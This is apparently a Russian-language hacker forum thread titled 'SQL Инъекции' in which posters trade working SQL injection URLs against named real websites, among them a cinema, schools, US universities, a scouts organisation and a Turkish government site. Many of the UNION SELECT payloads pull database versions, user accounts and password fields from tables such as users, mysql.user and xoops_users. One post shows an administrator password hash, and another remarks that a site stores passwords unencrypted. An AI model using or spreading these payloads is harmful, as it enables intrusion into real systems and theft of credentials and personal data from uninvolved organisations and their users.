SQL Инъекции

Кинотеатр "Салют" в Ебурге

http://kinosalut.ru/movie.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13/*

 

Некий рыцарский замок

 

Code:

http://www.mephi1996.ru/news.php?id=-1+union+select+1,2,3,4,5,6/*

 

http://wgeo.ru/table.shtml?id=-3+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6/*
http://www.molitvoslov.com/txt.php?id=-3+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7/*
http://www.proriv.com/research/?id=-3+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0/*
http://illuminations.nctm.org/ActivityDetail.aspx?ID=-3'
Количество сталбцов не подобрал=(


Кто подберёт буду оч. признатетен)

 

http://www.medilinkwm.co.uk/events/display.php?id=-1509+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15

 

u-mama.ru

http://www.u-mama.ru/board/razdel.php?id=-1'
чето я не смог подобрать кол-во строк - если кто подберет ,плиз киньте в
255302219(ася) то что вышло

 

Школа 199

http://www.school-199.ur.ru/photo.php?aid=-1+union+select+1,2,3,4,5,6,7,8/*

школьный сайт ,прихватил случайно...

 

_http://www.ssw.uga.edu

пользователи:
http://www.ssw.uga.edu/social/index.php?TabID=-1%20UNION%20SELECT%201,22222222,concat(username,password),244,23+from+users/*

Administrator 5624c1f033768afceffe44f1c59298d0493d253e


форма логина тут http://www.ssw.uga.edu/cgi-bin/webmanage/web_login.pl

содержимое mysql.user
http://www.ssw.uga.edu/social/index.php?TabID=-1%20UNION%20SELECT%201,22222222,concat(user,password),244,23+from+mysql.user/*

http://outcomes.web.arizona.edu/data.php?uid=19%20UNION%20SELECT%2012,3,777,VERSION(),777/*

 

Code:

http://www.inter-buket.ru/new-year/composition/?saleID=-1+union+select+1,2,3,4,concat(database(),char(58),user(),char(58),version()),6,7,8/*

Code:

http://www.inter-buket.ru/new-year/composition/?saleID=-1+union+select+1,2,3,4,concat(login,char(58),password,char(58),email,char(58),tel,char(58),name,char(58),family),6,7,8+from+users+limit+0,1/*

Пароли не зашифрованы.

 

http://maximumradio.ru/

Code:

http://maximumradio.ru/?news=75765432%20union%20select%200,version(),2,3,user()/*

 

Жертва: www.scouts.ru(Центральный Сервер
Скаутов-разведчиков)

SQL:

PHP:

http://www.scouts.ru/modules/events/event.php?id=47999999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--

version(): 5.0.26-standard
user(): orur@localhost
database() :xoops

Таблиц: 589

PHP:

http://www.scouts.ru/modules/events/event.php?id=479999999999+union+select+1,2,3,4,5,table_name,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+information_schema.tables+limit+589,1--

Основные:xoops_users

Количество юзеров:1096
Извлечение:
Mail: name: pass(хеш).

PHP:

http://www.scouts.ru/modules/events/event.php?id=479999999999+union+select+1,2,3,4,5,concat_ws(char(58),email,name,pass),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+xoops_users+limit+1096,1--

 

www.atam.gov.tr

PHP:

_http://www.atam.gov.tr/index.php?Page=DergiIcerik&IcerikNo=-1+union+select+1,version(),3,4,user()/*


Таблица: DergiIcerik
Поля: No,TRBaslik,TRYazar,TRDergiSayi,TRIcerik

P.S. Есть там ещё таблицы?

 

сдесь был байан!
domainsdb! привет, lol nax (кто смотрел видео)

Code:

[COLOR=DarkOrange][B]http://www.mconline.ru/common/rateit/opinion_new.asp?code_opinion=ORT116046'--&code_rate=RRT175481[/B][/COLOR]

похоже mconline в одной базе с хакерру =)
//ps

Code:

[B]http://www.xakep.ru/magazine/xA/088/056/2.asp[/B]

 

Белорусский интерактивный веб-сайт для молодежи по проблеме ВИЧ/СПИД

 

Сайт о КПК, ноутбуках и мобилах

 

Я тоже попробую: _http://collectablekids.com.au/shop/products/index.php?id=9999999999999'+union+select+1,2,3,4,version(),6,7,8,9/*

 

.edu

Code:

http://www.gse.upenn.edu/cms/cms.php?id=-263+union+select+1,2,3,4,version(),6/*
http://www.nhia.edu/news.php?id=-13+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/*

Остальное:

Code:

http://www.dec-edu.com/detail_news.php?news=-33+union+select+version()/* (см. заголовок страницы)
http://www.rdu.org.ua/news.php?path=arc&subpath=main&content=-1044981924+union+select+1,version(),3,4/*

Не смог подобрать столбцы:

Code:

http://www.intergu.ru/pedsov/index.asp?main=answer&id_sec=-60+union+select+1,2/*
http://ruspoisk.ru/?type=7&s=54&city=-337+union+select+1,2,3,4,5,6,7,8,9/*
http://www.networkdoc.ru/news/news.php?id=-342+union+select+1/*
http://www.mpn.ru/my_news.php?number=8&id=-1+union+select+1,2,3/*
http://www.pskovedu.ru/?session=&project_id=-93+union+select+1,2,3/*

На этот раз всё проверил

 

Информационный свадебный центр

 

Code:

http://legalru.ru/document.php?id=-1+union+select+1,concat(database(),char(58),user(),char(58),version()),3,4,5/*

 

Антиимпериализм))

Code:

http://www.anti-imperialism.net/lai/texte.php?langue=3&section=BY&id=-1+union+select+1,2,3,4,5,6,concat(user(),0x3a,version(),0x3a,database()),8/*